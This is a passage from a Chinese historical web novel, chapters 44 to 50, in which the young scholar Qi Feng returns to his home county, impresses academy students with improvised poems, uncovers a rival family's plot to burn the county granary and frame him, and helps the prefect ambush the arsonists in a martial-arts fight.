齐枫心头一沉。
“吴胖子,你表兄临走前,可曾留下什么话?”齐枫沉声问道。
吴胖子摇摇头,随即又担忧道:“齐哥,我表兄他……”
“我会想办法。”齐枫拍了拍他的肩:“这案子牵扯的人,比我们想象的还要高。”
“那接下来?”楚清秋问道。
“先去找赵明德。”齐枫淡淡道,“既然盐课司的人失踪了,那我们就从盐课司的账册查起。”
“另外……”他顿了顿,眼中闪过一丝锋芒,“科举之前,得先把田里的事解决了。”
张家,看来是时候敲打敲打了!
第四十四章 归乡查案
翌日清晨。
府城笼罩在薄雾中,知府衙门的朱漆大门前,齐枫整了整衣襟。
楚清秋站在他身后半步,面纱被晨风吹得微微飘动。
“少爷,真要现在回去?”小荷抱着包袱,有些不安地看向城门方向,“吴少爷说那些黑衣人。”
齐枫用折扇轻敲小荷的脑袋:“怕什么,你家少爷现在可是有知府大人的令牌。”
他从袖中取出那块鎏金铜牌,在晨光下泛着冷冽的光泽。
赵明德从衙门内大步走出,身后跟着两名师爷。
这位知府大人今日换了一身便服,但眉宇间的威严丝毫未减。
“齐公子决定今日就回青田县?”赵明德捋了捋胡须,目光在齐枫脸上停留片刻。
齐枫拱手行礼:“学生离家多日,也该回去看看。再者,那五百亩田地也是要打理打理的。”
“本官明白。”赵明德抬手打断,从袖中取出一封火漆封好的信函,“这是给青田县令王猛的密信,你且收好。”
齐枫接过信函,入手沉甸甸的,显然不止一页纸。
“官盐一案,牵连甚广。”赵明德压低声音,“本官已派人暗中查访,齐公子回青田县后,也请多留意张家动向。”
“学生明白。”齐枫将信函收入怀中,忽然想起什么,“对了,大人,关于吴公子的表兄。”
赵明德眼中闪过一丝锐利:“此事本官自有安排,齐公子不必过问。”
这话说得斩钉截铁,齐枫识趣地不再追问。
他余光瞥见楚清秋的手指微微收紧,显然对这个回答并不满意。
“时候不早了,学生告辞。”齐枫深深一揖,转身走向等候多时的马车。
车轮碾过青石板路,发出沉闷的声响。
吴胖子早已在马车旁等候,圆脸上满是汗珠。
“齐哥,都准备好了!”他拍了拍鼓鼓囊囊的包袱。
齐枫失笑:“我们是回青田县,不是逃难。”
小荷扶着楚清秋上了马车,自己却站在车辕上犹豫:“少爷,咱们真的不带护卫吗?”
“有青禾在,比十个护卫都管用。”齐枫跳上马车,回头望了一眼府城高耸的城墙,“走吧,天黑前还能赶到家。”
马车缓缓驶出城门,官道两旁的田野渐渐开阔。
车厢内,吴胖子压低声音:“齐哥,我表兄的事……”
“知府大人说他会处理。”齐枫打断他,目光却看向楚清秋,“你怎么看?”
楚清秋面纱下的声音异常冷静:“灭口。”
这两个字让车厢内的温度仿佛骤降。
小荷打了个寒颤,下意识往齐枫身边靠了靠。
“少爷,那些人真的这么狠毒吗?”
齐枫没有直接回答,而是掀开车帘,望向远处起伏的山峦:“青龙山就在那个方向吧?”
吴胖子顺着他的目光看去:“对,那就是黑风寨的老巢。听说地势险要,易守难攻。”
“有意思。”齐枫放下帘子,“官盐,黑风寨,张家,北境边军,这些看似不相干的东西,却被一根线串了起来。”
楚清秋突然开口:“线头在京城。”
齐枫挑眉:“哦?”
“三十引官盐数量不大,但若加上特殊标记。”楚清秋的声音更低了,“那是军需品的记号。”
吴胖子瞪大眼睛:“军需?那岂不是?”
“嘘。”齐枫做了个噤声的手势,“隔墙有耳。”
马车突然颠簸了一下,小荷惊呼一声,整个人扑进齐枫怀里。
齐枫扶住她,却听见车外传来一声马嘶。
“怎么回事?”吴胖子掀开车帘。
车夫紧张地回头:“公子,前面有人拦路!”
齐枫眯起眼睛望去,只见官道中央站着三个蒙面人,清一色的黑衣劲装,腰间配着短刀。
“黑风寨?”吴胖子声音发颤。
楚清秋的手已经按在了腰间**上,却被齐枫轻轻按住。
“别急。”齐枫从怀中取出知府令牌,朗声道,“在下青田县齐枫,奉知府大人之命公干,还请诸位行个方便!”
为首的蒙面人愣了一下,随即冷笑:“管你什么知府不知府,把值钱的东西都交出来!”
齐枫心中一沉。
这不是黑风寨的人,黑风寨的人见到知府令牌
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绝不会是这种反应。
“少爷!”小荷紧紧抓住齐枫的衣袖。
就在这剑拔**张之际,远处突然传来一阵急促的马蹄声。
“官兵来了!”一个蒙面人惊呼。
三人对视一眼,转身就钻进了路旁的树林。
“吁!!”
一队骑兵在马车前停下,为首的正是昨日在醉月楼见过的按察使卢正淳。
“齐公子?”卢正淳勒住马缰,眉头微皱,“你这是?”
齐枫连忙下车行礼:“学生正要回青田县,不想遇到**,多亏大人及时赶到。”
卢正淳扫了一眼树林方向:“往哪个方向跑了?”
“东南。”齐枫指向树林深处。
卢正淳对身后士兵挥了挥手:“追!”又转头对齐枫道,“这一带最近不太平,齐公子还是小心为妙。”
“多谢大人关心。”齐枫拱手,“学生有一事不解,这些**……”
“不是黑风寨的人。”卢正淳打断他,眼中闪过一丝锐利,“黑风寨的人马昨日已被本官剿灭大半。”
齐枫心头一震。
黑风寨被剿灭了?那官盐的下落呢?
“齐公子似乎很惊讶?”卢正淳居高临下地看着他。
齐枫迅速调整表情:“学生只是没想到大人行动如此迅速。”
“职责所在。”卢正淳一夹马腹,“本官还有公务,先行一步。齐公子保重。”
马蹄声远去,卷起一片尘土。吴胖子从马车里探出头:“齐哥,这卢大人怎么?”
“不对劲。”楚清秋突然开口,“他说剿灭了黑风寨,但昨日赵大人还说黑风寨人去楼空。”
齐枫眯起眼睛:“有人在说谎。”
小荷紧张地左右张望:“少爷,咱们还走吗?”
“走。”齐枫跳上马车,“不过得绕点路。”
夕阳西沉时,马车终于驶入青田县地界。
熟悉的街景让齐枫紧绷的神经稍稍放松。
“先去见父亲。”他对车夫吩咐道。
齐府大门前,老管家王伯见到马车,激动得差点摔了灯笼:“少爷回来了!老爷!夫人!少爷回来了!”
第四十五章 满脸美人恩
齐震天和锦娘匆匆迎出。
锦娘眼眶泛红,一把拉住齐枫的手上下打量:“枫儿瘦了!在府城没吃好吗?”
齐震天虽然板着脸,但眼中的关切藏不住:“还知道回来?”
“爹,锦姨。”齐枫笑着行礼,“儿子在府城一切安好。”
锦娘拉着齐枫的手往里走:“快进来,我让厨房准备了你们爱吃的菜。”
正厅里,齐震天听完齐枫的讲述,眉头紧锁:“知府大人让你参与官盐案调查?”
齐枫取出令牌:“不仅如此,还给了我这个。”
齐震天接过令牌,手指微微发抖:“这可是能调动府衙兵马的令牌,赵大人竟如此信任你?”
“枫儿有出息了。”锦娘抹了抹眼角,“老爷,这是好事啊。”
“好什么好!”齐震天突然拍案,“官场险恶,稍有不慎就是万劫不复!你一个毛头小子……”
“爹。”齐枫平静地打断他,“儿子日后若要走仕途,这些事迟早要面对。”
齐震天怔住了,他盯着儿子看了许久,突然长叹一声:“你长大了。”
锦娘适时地端上热茶:“老爷,枫儿有分寸的。再说了,不是还有您把关吗?”
齐震天接过茶盏,语气缓和下来:“明日去拜访下周山长吧,他在朝中多年,或许能给你些建议。”
“儿子正有此意。”齐枫微笑。
晚膳后,齐枫独自站在庭院中。
月光如水,洒在青石板上。
身后传来轻微的脚步声,不用回头也知道是楚清秋。
“少爷在想什么?”她轻声问。
“想今天的事。”齐枫望着月亮,“卢正淳说剿灭了黑风寨,赵明德却说黑风寨人去楼空。谁在说谎?”
楚清秋沉默片刻:“或许都没说谎。”
“什么意思?”
“黑风寨可能分成了两派。”楚清秋分析道,“一派被剿灭,另一派……”
“带着官盐逃了。”齐枫接上她的话,眼中精光闪烁,“有意思。”
次日清晨,齐枫带着楚清秋前往书山书院。
琅琅读书声从学堂传来。
周文翰正在书房批阅学生课业,见到齐枫,老眼一亮:“齐公子回来了?”
齐枫深深一揖:“学生见过山长。”
“不必多礼。”周文翰放下毛笔,“府城之行如何?”
齐枫简要说了诗会和醉月楼的事,但对官盐案只字未提。
周文翰听完,抚须微笑:“不错,能在卢正淳面前留下好印象,对你日后仕途大有裨益。”
“山长。”齐枫突然压低声音,“学生有一事请教。”
他取出赵明德的密信,将官盐案简要说明。周文翰听完,面色渐渐凝重。
“北境萧家。”老山长喃喃自语,突然抬头,“齐公子,此事你最好不要再插手。”
“为何?”
“水太深。”周文翰起身关上窗户,“萧远山是当朝国舅,太后娘娘的亲弟弟。若他真与官盐案有关。”
他没有说完,但意思已经很明显。
齐枫心头一震,忽然想起楚清秋说过“线头在京城”。
“学生明白了。”齐枫收起密信,“多谢山长指点。”
周文翰拍拍他的肩膀:“专心备考吧,春闱在即,这才是你的正事。”
离开书房,齐枫心事重重。
楚清秋跟在他身后,突然轻声道:“少爷,有人来了。”
齐枫抬头,只见学堂方向涌出一群学子,为首的正是那日在诗会上见过的柳明轩。
“齐兄!”柳明轩快步上前,深深一揖,“今日来书山书院交流,没想到能在这里见到你!”
齐枫回礼:“柳公子别来无恙。”
“托齐兄的福。”柳明轩苦笑,“那日诗会后,在下痛定思痛,决定回书院潜心苦读。”
他身后的一群学子好奇地打量着齐枫,窃窃私语。
“这就是写出《水调歌头》的齐枫?”
“看着好年轻啊!”
“听说他在府城诗会上大放异彩!”
柳明轩转身介绍:“诸位,这位就是青田齐家的齐枫齐公子,他的诗才连李山长都赞不绝口。”
学子们顿时骚动起来,几个年轻的女学生更是红着脸往前挤。
“齐公子,能给我们讲讲《水调歌头》的创作心得吗?”
“齐公子,听说按察使卢大人都赏识你!”
“齐公子~”
人群越聚越多,齐枫被围在中间,哭笑不得。
楚清秋默默退到一旁,面纱下的嘴
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角微微上扬。
就在这时,一个尖锐的女声突然从人群外传来:“让开!都让开!”
人群分开一条路,一个穿着鹅黄色襦裙的少女气势汹汹地走来,杏眼圆睁,直勾勾地盯着齐枫。
“你就是齐枫?”少女上下打量他,“那个写出但愿人长久的齐枫?”
齐枫微笑拱手:“正是在下,不知姑娘?”
“我叫赵明兰!”少女昂起头,“赵明德是我大伯!”
齐枫心头一跳。
赵明德的侄女?她怎么会在这里?
赵明兰突然凑近,几乎要贴到齐枫脸上:“大伯说你才华横溢,我偏不信!除非!”
她猛地从袖中抽出一卷宣纸:“当场作诗一首给我看!”
“当场作诗?”
齐枫看着眼前这个杏眼圆睁的少女,嘴角微微上扬。
赵明兰手中的宣纸几乎要戳到他鼻尖,周围学子们的起哄声此起彼伏。
“怎么,不敢吗?”赵明兰扬起下巴,眼中闪烁着挑衅的光芒,“还是说那首《水调歌头》根本不是你写的?”
柳明轩在一旁尴尬地搓着手:“赵小姐,齐兄的诗才在府城诗会上有目共睹。”
“闭嘴!”赵明兰瞪了柳明轩一眼,“我要亲眼所见才信!”
学堂前的空地上,围观的人越来越多。
几个女学生捂着嘴偷笑,显然对这场突如其来的比试颇感兴趣。
楚清秋站在人群外围,面纱下的表情看不真切,小荷倒是信心满满。
齐枫环顾四周,忽然朗声一笑:“既然赵小姐有雅兴,那在下就献丑了。”
他接过宣纸,目光在赵明兰脸上停留片刻。
少女肌肤如雪,眉目如画,此刻因为激动而微微泛红的脸颊更添几分娇艳。
“不知赵小姐想以何为题?”
赵明兰眼珠一转:“就以,就以眼前景象为题!”
她指了指书院庭院中盛开的芍药,“限你半炷香时间!”
周围响起一片惊叹声。
即兴作诗本就困难,还要限定时间和题材,这分明是刁难。
齐枫却不慌不忙,走到石桌前提笔蘸墨。
他手腕悬空,目光在芍药丛与赵明兰之间游移,忽然眼前一亮。
“有了!”
第四十六章 美人恩
齐枫笔走龙蛇间,一首七言绝句跃然纸上:
“芍药绽时春已残,风前犹自斗芳妍。劝君莫惜金缕衣,劝君惜取少年时。”
最后一笔落下,全场鸦雀无声。
赵明兰一把抓过宣纸,杏眼瞪得溜圆。
“这!”
柳明轩凑过来一看,顿时击掌赞叹:“妙啊!前两句写景,后两句抒情,更暗含劝学之意,正合书院氛围!”
学子们纷纷围上来传阅,赞叹声不绝于耳。
几个女学生看向齐枫的眼神已经带上了崇拜的光芒。
赵明兰咬着下唇,小脸涨得通红:“你,你肯定是提前准备好的!”
齐枫笑而不语,只是微微拱手。
这姿态更显得风度翩翩,惹得周围女学生一阵低呼。
“赵小姐若不信,不如再出一题?”柳明轩看热闹不嫌事大。
赵明兰跺了跺脚:“好!这次我要亲眼看着你写!”
她四下张望,突然指向远处山峦,“就以山为题,七步成诗!”
这个要求更加苛刻。
古代曹植七步成诗传为佳话,但真正能做到的又有几人?
齐枫却不慌不忙地向前迈出一步:“一步。”
他目光悠远,望向远处青翠的山峦。
“两步。”
微风拂过,带来草木清香。
“三步。”
赵明兰紧张地盯着他的嘴唇。
“四步。”
楚清秋不知何时已经站到了人群最前排。
“五步。”
小荷从后面挤进来,手里还攥着块手帕。
“六步。”
齐枫突然驻足,转身面对赵明兰,眼中含笑:
“远看山有色,近听水无声。春去花还在,人来鸟不惊。”
七步刚落,诗已吟完。
全场再次寂静,继而爆发出雷鸣般的掌声。
赵明兰呆立原地,杏眼中满是不可思议。
这首五言绝句看似简单,却意境深远,将眼前景象描绘得栩栩如生。
“我……”她张了张嘴,突然从袖中掏出一方绣帕塞到齐枫手里,“我赵明兰说到做到,这诗我服了!”
说完转身就跑,鹅黄色的裙摆像蝴蝶翅膀一样在人群中一闪而过。
齐枫愣愣地看着手中的绣帕,上面还带着淡淡的茉莉花香。
还没等他反应过来,周围的女学生们已经一拥而上。
“齐公子,能给我也写首诗吗?”
“齐公子,这是我的绣帕!”
“齐公子……”
胭脂水粉的气息扑面而来,齐枫瞬间被淹没在一片莺莺燕燕中。
他求助地看向楚清秋,却发现对方已经转身离去,背影冷得像块冰。
“少爷!”小荷奋力挤进人群,用娇小的身躯挡在齐枫面前,“让一让!我家少爷还有要事!”
好不容易脱身,齐枫的脸上已经多了几个模糊的胭脂印。
小荷一边用手帕使劲擦着他的脸,一边嘟囔:“这些小姐们也太不知羞了!”
“轻点。”齐枫龇牙咧嘴,“皮都要被你擦破了。”
书院门口,马车早已备好。
楚清秋抱着剑坐在车辕上,见他们过来,冷冷地扫了一眼齐枫脸上的痕迹。
“青禾,”齐枫尴尬地摸了摸鼻子。
楚清秋的声音比平时更冷三分,“该出发去田里了。”
车厢内的气氛凝重得能拧出水来。
小荷看看这个,又看看那个,识趣地缩在角落装鹌鹑。
齐枫清了清嗓子:“那个赵小姐是知府大人的侄女,我们……”
“少爷才华横溢,自然招人喜欢。”楚清秋打断他,语气平静得可怕,
齐枫无奈一笑。
楚清秋突然道:“少爷打算怎么做?”
“先去田里看看情况。”齐枫松了口气,
小荷突然插嘴:“少爷,你脸上还有印子!”
说着又拿起手帕。
齐枫无奈地仰起脸任她擦拭:“轻点,你这丫头手劲怎么这么大。”
楚清秋看着这一幕,眼中闪过一丝难以察觉的笑意,但很快又恢复冷峻。
马车驶过乡间小路,初夏的田野一片生机盎然。
齐枫掀开车帘,远远望见自家田地周围**了不少人影。
“到了。”
马车刚停稳,一群农户就围了上来。
为首的正是齐家佃户王老汉,他黝黑
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的脸上满是愁容。
“少爷!您可算来了!”王老汉声音发颤,“又有人来捣乱了!”
齐枫跳下马车:“怎么回事?”
“今儿个一早,老朽就发现东头那几亩秧苗被人连根拔了!”王老汉指着远处,“那可是按少爷新法子种的试验田啊!”
其他农户也七嘴八舌地诉苦:
“我家田埂被人挖断了!”
“水渠里堵了石头!”
“有人半夜在田里晃悠!”
齐枫眉头紧锁:“可看清是谁干的?”
王老汉左右看了看,压低声音:“老朽瞅着像是张家的家丁。”
“果然。”齐枫冷笑一声,“带我去看看。”
一行人向田里走去。
楚清秋默默跟在齐枫身后,警惕地观察着四周。
小荷则小跑着才能跟上众人的步伐。
试验田里,原本整齐的秧苗东倒西歪,有些甚至被连根拔起扔在田埂上。
齐枫蹲下身,捡起一株秧苗仔细查看。
“不是简单的破坏。”他沉声道,“这些秧苗是被特意挑选过的。”
楚清秋也发现了端倪:“都是长势最好的。”
“张家这是要断我的粮种改良啊。”齐枫站起身,眼中闪过一丝冷意,“看来得给他们点教训了。”
就在这时,远处传来一阵嚣张的笑声。
众人回头,只见几个衣着光鲜的男子骑马而来,为首的正是张韬的堂弟张骏。
“哟,这不是齐大才子吗?”张骏勒住马,居高临下地看着齐枫,“怎么,不在书院吟诗作对,跑这泥腿子地方来了?”
齐枫拍了拍手上的泥土,不慌不忙地回道:“张公子不也在泥腿子地方吗?莫非是来体验民间疾苦的?”
张骏脸色一沉:“少在这耍嘴皮子!听说你家秧苗出了问题?要不要本公子发发善心,借你些粮种?”
王老汉忍不住插嘴:“分明是你们张家……”
“老东西!”张骏厉声打断,“饭可以乱吃,话可不能乱说!”
齐枫抬手制止了愤怒的农户们:“张公子,明人不说暗话。你我之间的恩怨,何必牵连无辜农户?”
第四十八章 将计就计
月色如钩,张家祠堂。
齐枫蹲在墙角的阴影里。
“青禾。”他压低声音,向身旁的黑影点头示意。
楚清秋会意,纤细的手指扣住砖缝,脚尖轻点墙面,整个人如燕子般腾空而起。
她腰间的软剑在月光下闪过一道寒光,人已稳稳落在墙头。
一条麻绳悄无声息地垂下。
齐枫抓住绳索,借力上攀,刚翻上墙头,一只微凉的手就按住了他的肩膀。
“别动。”楚清秋的声音近在耳畔,带着一丝紧绷,“有巡逻。”
两人紧贴墙头,屏息凝神。下方果然传来脚步声,两个提着灯笼的家丁慢悠悠地走过,嘴里还嘟囔着“大半夜的折腾人”之类的话。
待脚步声远去,楚清秋轻轻一跃,落在祠堂侧面的柏树上。
齐枫紧随其后,两人借着树影掩护,悄无声息地滑到祠堂屋顶。
“东侧天窗。”齐枫比了个手势。
楚清秋点头,纤长的手指灵巧地拨开窗栓。
天窗刚开一条缝,祠堂内嘈杂的争论声便涌了出来。
“齐家小儿欺人太甚!”一个沙哑的男声怒吼道,“今日竟敢拿知府令牌威胁骏儿!”
齐枫与楚清秋对视一眼,轻轻掀起天窗。
祠堂内灯火通明,约莫二十余人围坐一堂,主位上坐着的赫然就是张家家主**然。
两人借着横梁阴影的掩护,悄无声息地潜入,藏身于主梁之上。
从这个角度,整个祠堂尽收眼底。
“父亲息怒。”张济笑了笑,缓缓起身,“齐枫如今有知府撑腰,硬碰硬不是办法。”
“济儿有何高见?”**然看了他一眼,问道。
“张济?”齐枫眯了眯眼,他对这个人了解的不多,但知道是一个满肚子坏水的人。
和张韬比起来,张韬简直就是纯情小白花,当然,论智商来说。
张济踱步到厅中央,阴鸷的目光扫过在场众人:
“诸位可知,齐家最近在忙什么?”
“不就是那五百亩破地吗?”一个满脸横肉的汉子不屑道。
“非也。”张济冷笑一声,“他在改良粮种!据探子回报,他那些试验田的产量,比寻常高出三成不止!”
祠堂内顿时一片哗然。
“什么?这怎么可能?那齐枫是个什么废物?就算是做了两首诗那又如何?”
“是啊,一个纨绔子弟而已,就算是用了什么阴谋诡计,在诗会上出了名,那也绝不可能会有这么大的转变!”
“三成?!”**然手中的茶盏“啪”地搁在桌上,“若真让他成了,青田县的粮价岂不由他掌控?”
“正是如此。”张济阴测测地道,“更可怕的是,知府赵明德已向朝廷递了折子,要将此法推广全国。若成了,齐枫便是大功一件!”
祠堂内死一般寂静。
齐枫眯起眼睛。
他根本没有和赵明德讨论过粮种改良,这张济,是在危言耸听啊。
“那还等什么!”横肉汉子拍案而起,“今晚就去烧了他的破田!”
“愚蠢!”**然厉喝一声,“齐枫刚用知府令牌吓退骏儿,你现在去烧田,不是自投罗网?”
“那你说怎么办?”
张济环视众人,突然压低声音:“要动,就动个大的。”
他从袖中掏出一张地图,铺在桌上。
齐枫眯眼看去,赫然是青田县粮仓的布局图!
“三日后,各县赋粮将集中到青田县仓。”张济的手指重重戳在地图上,“我们派人火烧粮仓,然后……”
他阴冷一笑:“栽赃给齐枫!”
祠堂内一片倒吸冷气之声。
横梁上,楚清秋的身体骤然紧绷。
齐枫轻轻按住她的手腕,示意她冷静。
“疯了吗?”一个年轻子弟颤声道,“官粮被烧,可是杀头的大罪!”
“所以才要栽赃!”张济眼中闪着一抹疯狂的光芒,“届时不但齐枫要死,连赵明德也要担失察之责!上面的那位已经答应了,只要事成,府城盐课司的份额全归我们张家!”
齐枫眉头一皱。
上面的那位?是谁?
按照这个来看,应该是位大人物。
“此事”**
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然沉吟片刻,“风险太大。”
“父亲!”张济突然跪下,“富贵险中求,齐枫若得势,第一个要灭的就是我们张家啊!”
此话一出,所有张家人都沉默了。
“况且”张济突然压低声音,“我们背后可是有……”
“住口!”**然突然一声厉喝,“慎言!”
祠堂内再次安静下来。**然闭目沉思良久,终于缓缓点头:“就依济儿之计。但记住,万一事发……”
“儿子一力承担!”张济重重叩首。
议事继续,但已转向细节安排。
齐枫向楚清秋使了个眼色,两人悄无声息地原路退出。
直到翻出张家围墙,奔出一里多地,两人才在一条小溪边停下。
齐枫抬头看向楚清秋:“你怎么看?”
月光下,楚清秋的面纱微微飘动:“张济的计策很毒,但破绽也多。关键是……”
“关键是张家背后的那人。”齐枫接上她的话,眼中寒光闪烁,“这才是大鱼。”
两人借着月色赶回齐府。刚进院门,就看见小荷提着灯笼在廊下张望。
“少爷!”小丫头飞奔过来,“你们可算回来了!奴婢热了三次饭了!”
齐枫揉了揉她的发髻:“辛苦你了。”
“青禾姐姐,你的手怎么这么凉?”小荷突然抓住楚清秋的手,“我去煮姜茶!”
楚清秋微微摇头:“不必。先谈正事。”
书房内,烛火摇曳。
齐枫将所见所闻简要说明,虽然小荷帮不上什么忙,但毕竟是自己人,没必要遮遮掩掩。
“太可恶了!”小荷气得直跺脚,“少爷,我们快去告诉知府大人!”
“证据呢?”楚清秋冷静反问,“凭我们偷听来的话?”
小荷语塞。
她一时半会倒是还真没有想到这个,只是单纯的脱口而出而已。
“少爷打算怎么做?”楚清秋的声音从身后传来。
齐枫转身。
“将计就计,知府,我们肯定是要告知的,但是证据,我们也是一定要给的,两者互不耽误。”
第四十九章 粮仓伏击
三日后,青田县粮仓。
夕阳的余晖洒在堆积如山的粮垛上,二十辆牛车在仓前广场排成长龙。
赤着上身的力夫们喊着号子,将一袋袋粮食扛进仓内,麻袋摩擦的沙沙声与监工的吆喝声混作一团。
“最后一车!都麻利点!”粮仓大使周诚抹了把汗,朝账房喊道,“老李,数目可点清了?”
账房先生推了推眼镜:“平阳乡差三石未到。”
“放**屁!”一个满脸络腮胡的里正冲过来,“俺们乡一石不少!定是路上洒了!”
周诚正要调解,忽然瞥见人群外一袭青衫,顿时眼睛一亮:“齐公子!”
齐枫含笑走来,身后跟着戴面纱的楚清秋。
他朝争执双方拱拱手:“两位且慢,差的三石,可是用新式麻袋装的?”
里正一愣:“您咋知道?”
“那种麻袋针脚密,容易胀袋。”齐枫从袖中取出个小本子,“烦请周大使让人把西南角那堆麻袋重新称过,记得先拍打几下。”
周诚连忙吩咐人去办。
不消片刻,差役跑来报告:“神了!正好多出三石!”
周围顿时一片哗然。
里正激动地要下跪,被齐枫一把扶住:“使不得。倒是贵乡今年收成不错?”
“托您的福!”里正黝黑的脸上笑出褶子,“按您教的堆肥法子,亩产多了两成!”
齐枫微笑颔首,目光却扫过粮仓四周。
十二名衙役看似随意地站着,实则把守住了所有要道。
东南角的草料堆后,隐约有金属反光,那是埋伏的官兵。
“齐公子对粮务倒是精通。”周诚凑过来奉承。
“略懂皮**。”齐枫谦虚道。
突然,一阵马蹄声由远及近。
赵明德一身便服策马而来,身后跟着十余名捕快。
“知府大人!”众人慌忙行礼。
赵明德翻身下马,朗声道:“本官例行巡查,诸位不必多礼。”
他走到齐枫身边,压低声音:“都安排妥当了?”
齐枫微不可察地点头:“只等鱼儿咬钩。”
暮色渐沉,粮仓终于安静下来。
周诚锁好大门,带着最后几个差役离开。
月光下,粮仓像头沉睡的巨兽,投下大片阴影。
三更梆子响过,粮仓西墙根下的草丛突然动了动。
五个黑衣人鬼魅般翻墙而入,领头者打了个手势,几人迅速分散。
“动作快!”领头人掀开面巾,赫然是张济的心腹张魁,“老爷说了,先烧东南角那批新粮!”
一个黑衣人刚掏出火折子,突然僵在原地,冰冷的剑锋抵住了他的后心。
“放下。”楚清秋的声音比剑还冷。
几乎同时,四周火把骤亮!
“有埋伏!”张魁嘶吼一声,拔刀就砍向最近的持火把者。
那“差役”却灵巧后撤,露出齐枫似笑非笑的脸。
“张管事深夜来访,何必动粗?”
张魁目眦欲裂:“齐枫!你特么!!”
话未说完,仓顶传来“嗖嗖”破空声!两支羽箭精准射中两名黑衣人的大腿,惨叫声划破夜空。
剩余两人刚要逃窜,却被埋伏的官兵堵个正着。
“拿下!”赵明德从阴影中走出,官威凛然。
张魁突然狞笑,从怀中掏出一个瓷瓶:“休想!”猛地将瓷瓶砸向粮垛!
一道银光闪过!楚清秋的软剑如灵蛇吐信,半空中将瓷瓶劈成两半。
黑色粉末漫天飘洒,却离粮垛足有三丈远。
“火油粉。”齐枫用袖子掩住口鼻,“张家倒是舍得下本钱。”
张魁见事败,竟挥刀自刎!
楚清秋剑光再闪,打落钢刀的同时在他手腕留下一道血痕。
“想死?”齐枫缓步上前,“还没交代谁指使你呢。”
赵明德一挥手,官兵将挣扎的黑衣人全部捆缚。他拾起地上未燃的火折子,沉声道:“人赃并获,本官倒要看看**然如何解释!”
齐枫眯了眯眼:“恐怕不止这些人!”
话音未落,远处突然传来急促的马蹄声!
齐枫瞳孔骤缩,一把扯过楚清秋往粮垛后闪去。
几乎同时,三支**箭“夺夺夺”钉在他们方才站立的地面上,箭尾犹自震颤。
“保护大人!”官兵们迅速结成圆阵,将赵明德护在中央。
粮仓大门轰然洞开,十余骑黑衣刀客如潮水般涌入,马蹄踏起的烟尘中寒光连闪。
楚清秋足尖轻点粮袋,身形如鹤冲天
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而起。
软剑在空中划出七道银弧,“叮叮叮”连响,竟将射来的箭矢尽数击落。
最后一支箭被她剑尖一挑,反方向激-射回去,黑暗中立时传来一声闷哼。
“好俊的功夫!”领头的刀客翻身下马,手中九环大刀哗啦作响。
他猛地劈向最近的官兵,那官兵举盾相迎,却听“咔嚓”一声,包铁木盾竟被生生劈成两半!
齐枫见状,从袖中甩出三枚铜钱。
“嗖嗖嗖”破空声过,刀客急忙回刀格挡,两枚铜钱被弹飞,第三枚却擦着他脸颊划过,带出一道血痕。
“暗器伤人,算什么好汉!”刀客怒吼。
“对付纵火犯,何须讲究?”楚清秋冷笑一声。
她身形一晃,似游鱼般滑入敌阵,专挑敌人手腕,脚踝处下手,转眼间已有三名刀客哀嚎着倒地。
东南角突然爆出一团火光!
原来有个黑衣人趁机点燃了草料堆。
火舌刚窜起一人高,就被一桶冷水当头浇灭,埋伏在屋顶的弓手早已备好水桶。
那纵火者还没反应过来,就被从天而降的捕快按倒在地。
张魁趁机挣脱束缚,从靴筒抽出**扑向赵明德!
知府身旁的老捕快横刀阻拦,却不防张魁虚晃一招,**毒蛇般刺向老捕快咽喉。
“锵!”
一柄钢刀突然横插-进,刀身与**相撞迸出火星。
赵明德不知何时已拔刀在手,刀势一转,如狂风扫叶般逼得张魁连退三步。
“真当本官手无缚鸡之力?”赵明德拍了拍肩头不存在的灰尘。
“逼格!”齐枫竖起一个大拇指。
粮仓中央,领头刀客与楚清秋战至酣处。
九环大刀势大力沉,每次劈砍都带起呼啸风声。
楚清秋却似风中柳絮,总在刀锋及体的刹那轻盈避开。
她的软剑时而如银蛇缠腕,时而似流星追月,已在刀客身上留下十余道细密伤口。
“臭娘们!”刀客暴怒,突然变招使出一记“横扫千军”。
楚清秋纵身后跃,不料背后就是粮垛。
眼看退无可退,她突然足蹬粮袋借力,整个人与地面平行着腾空而起!大刀擦着她发梢掠过,砍进粮垛深达半尺。
第五十章 大事不好
九环大刀划破空气,带起刺耳的呼啸,刀客目露凶光,手中大刀再度向楚清秋劈去。
那一招“横扫千军”虽被她险险避过,但刀锋砍进粮垛的余势未消,木屑与粮食颗粒四散飞溅。
楚清秋身形未稳,足尖轻点粮袋,借力翻身,软剑如灵蛇般刺向刀客的肋下。
“铛!”刀客反应极快,九环大刀回转格挡,剑刃与刀身相撞,迸出一串火星。
楚清秋不退反进,身形如鬼魅般绕到刀客侧后,软剑抖出三道寒光,直取对方肩胛,腰侧与膝弯。
刀客怒吼一声,强行扭身,九环大刀横扫而出,试图逼退她。
却不料楚清秋早有预料,足尖一点,整个人如燕子般腾空跃起,剑尖在刀客手臂上划出一道血痕。
“臭娘们,找死!”刀客吃痛,眼中凶光更盛,九环大刀舞成一团银光,招招狠辣,誓要将楚清秋斩于刀下。
楚清秋却丝毫不惧,她身法轻盈如风,软剑或点或刺,总能找到刀客招式间的破绽。
两人战至酣处,周围的官兵与黑衣刀客的混战已接近尾声,惨叫声与兵器交击声渐渐稀疏。
齐枫站在粮垛旁,目光紧锁战局,手中捏着几枚铜钱,随时准备出手支援。
楚清秋的剑法凌厉精准,但那刀客的九环大刀势大力沉,每一击都带着千钧之力,稍有不慎便可能受伤。
就在刀客一记重劈落空,刀身嵌入粮垛的刹那,楚清秋瞅准机会,软剑如电,直刺刀客咽喉!
“住手!”齐枫突然喝道。
楚清秋剑尖一偏,堪堪停在刀客颈侧,锋芒划破皮肤,渗出一丝血迹。
刀客惊魂未定,九环大刀脱手落地,发出沉闷的响声。
几乎同时,四周的官兵一拥而上,将剩余的黑衣刀客尽数制服,绳索与镣铐声响成一片。
赵明德从阴影中走出,手中钢刀尚未收回,目光冷冽地扫过被捆缚的黑衣人。
粮仓内的火把熊熊燃烧,映得他脸上的威严更加森然。
“好一场夜袭!”他冷哼一声,目光落在领头的刀客身上,“说吧,张家指使你们来的?”
刀客咬紧牙关,额上冷汗涔涔,却一言不发。
赵明德缓步走到张魁面前,后者被五花大绑,跪在地上,脸上满是血污与不甘。
方才他试图自刎未果,手腕上的伤口还在渗血。
齐枫站在赵明德身旁,目光在张魁身上游移,似笑非笑道:“张管事,直接说吧,省点事。”
张魁狠狠瞪了齐枫一眼,咬牙道:“齐枫,你别得意!今日不过是你们运气好!”
“运气?”赵明德冷笑,“人赃并获,还敢嘴硬!”
他一挥手,身后一名捕快上前,手里提着一只小木箱。
